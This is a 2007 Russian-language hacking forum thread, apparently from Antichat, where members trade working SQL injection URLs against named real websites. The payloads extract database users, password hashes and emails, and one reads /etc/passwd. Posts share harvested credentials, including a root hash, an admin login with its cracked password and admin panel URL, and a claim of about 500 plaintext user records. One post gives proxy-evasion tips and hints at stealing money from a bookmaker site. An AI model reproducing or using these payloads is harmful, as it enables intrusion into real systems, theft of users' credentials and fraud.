SQL Инъекции

21.03.2007, 00:36

valiko

Участник форума

Регистрация: 28.01.2007

Сообщений: 153

С нами: 10149547

Репутация: 452

Код:

http://videos.cooltax.net/view.php?id=-163442'+union+select+1,2,3,concat(user,0x3a,password),5,database(),7,version(),9,0+from+mysql.user/*

root:*CD11B1921012CA99693A28BF0D822D4E5D9E120D

𝕏 Twitter Reddit Telegram Копировать ссылку

21.03.2007, 11:27

InferNo23

Участник форума

Регистрация: 05.09.2006

Сообщений: 187

С нами: 10358246

Репутация: 378

Код:

http://www.debtwatch.org/es/inicio/enprofunditat/plantilla_1.php?identif=-1+union+select+1,2,3,4,user(),6,version(),8,9,10,11/*

Код:

http://www.europa-kherson.com/news/news.php?identif=-1+union+select+1,user(),version(),4/*

Код:

http://www.joseepedroalmeida.com/pombosdetalhe.php?identif=-1+union+select+1,user(),version(),database(),5,6/*

21.03.2007, 15:35

n1†R0x

Постоянный

Регистрация: 20.01.2007

Сообщений: 787

С нами: 10160966

Репутация: 1719

onboard.ru

Код:

http://www.onboard.ru/talkabout/show.php?id=-1+union+select+1,2,3,4,5,table_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+information_schema.tables/*

upd:

Код:

http://fat-cat.co.uk/fatcat/artistInfo.php?id=-1+union+select+1,concat_ws(0x3a,username,password,email),3,4,5,6+from+users+limit+0,1/*

~500 юзеров, логин:пасс:мэйл в чистом виде, пароли от форума. есть еще доступ к таблице mysql.user, столбцы не подбирал..

etc/passwd

Код:

http://fat-cat.co.uk/fatcat/artistInfo.php?id=-1+union+select+1,LOAD_FILE(0x2F6574632F706173737764),3,4,5,6

upd2:
название базы улыбнуло

Код:

http://www.superherohype.com/news/topnews.php?id=-1+union+select+database()/*

Последний раз редактировалось n1†R0x; 21.03.2007 в 16:56..

21.03.2007, 17:56

BlackCats

Постоянный

Регистрация: 01.02.2006

Сообщений: 970

С нами: 10669286

Репутация: 1942

Цитата:

http://jesusatlantic.com/main/modules/articles/article.php?id=-20+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,19,20/*

reererer

21.03.2007, 18:03

XTErner

Участник форума

Регистрация: 13.03.2007

Сообщений: 120

С нами: 10085717

Репутация: 590

Код:

http://www.isaacmizrahiny.com/slideshow.php?id=-86%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,concat(username,0x3a,password),15,16,17,18,19,20,21,22+from+users/*

21.03.2007, 18:24

[aywo]

Познающий

Регистрация: 01.02.2007

Сообщений: 89

С нами: 10143707

Репутация: 114

Код:

http://www.vesnaupi.ru/cross/gallery.php?dep=4&gal=4&pos=&id=-1+union+select+1,2,3,4,5,6,7,8,9,10/*

21.03.2007, 18:32

freddi

Постоянный

Регистрация: 05.07.2006

Сообщений: 458

С нами: 10447337

Репутация: 807

www.bukmekers.com
Букмекерская контора

Код:

http://bukmekers.com/index.php?option=com_user&task=doStakeMenu&cid=-1+union+select+1,concat(database(),char(58),user(),char(58),version())+from+INFORMATION_SCHEMA.TABLES/*

1) Скуля действует только от зарегестрированного пользователя;
2) Регестрируйте юзера только под проксями));
3) Имена таблиц ищите только под проксями;
4) Ваш акк могут через какое-то время забанить, ну потом зареганите другой));
5) Далее, как деньги слить думаю разберетесь.

Удачи.

21.03.2007, 18:45

Grey

Познавший АНТИЧАТ

Регистрация: 10.06.2006

Сообщений: 1,113

С нами: 10483586

Репутация: 5826

mssql

Код:

http://www.stud-info.com/shop/ozon/book/zakaz.asp?id=-1+union+all+select+1,2,3,4,5,6,table_name,8,9,10,11+from+information_schema.tables--

mysql

Код:

http://www.vtv.gcg.ru/konkurs/?konkurs=-1+union+select+1,2,3,4,5,6,7,8,concat(database(),char(58),user(),char(58),version())/*

21.03.2007, 19:03

n1†R0x

Постоянный

Регистрация: 20.01.2007

Сообщений: 787

С нами: 10160966

Репутация: 1719

Код:

http://www.onlineflashgamez.com/index.php?action=playgame&gameid=-1+union+select+1,concat_ws(0x3a,username,password,emailaddress),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+users+limit+0,1/*

admin:dbc50ecb629ac64cc2fdad7bede9daf2: onlineflashgamez@gmail.com

dbc50ecb629ac64cc2fdad7bede9daf2 = 1qa2ws
http://www.onlineflashgamez.com/admin/index.php

Последний раз редактировалось n1†R0x; 21.03.2007 в 19:08..

#10

21.03.2007, 19:13

Constantine

Members of Antichat - Level 5

Регистрация: 24.11.2006

Сообщений: 927

С нами: 10243046

Репутация: 3033

Код:

http://state.rin.ru/cgi-bin/news.pl?id=-118107+union+select+1,2,concat_ws(char(58),name,login),4+from+users/*

вот тут с табличкой пришлось напрячься=\

Код:

http://shop.vashtextil.com.ua/main.php?id=-7'+union+select+1,id,3,4+from+tbl_main/*

__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ

Внести депозит

Депозит создан

Вывести депозит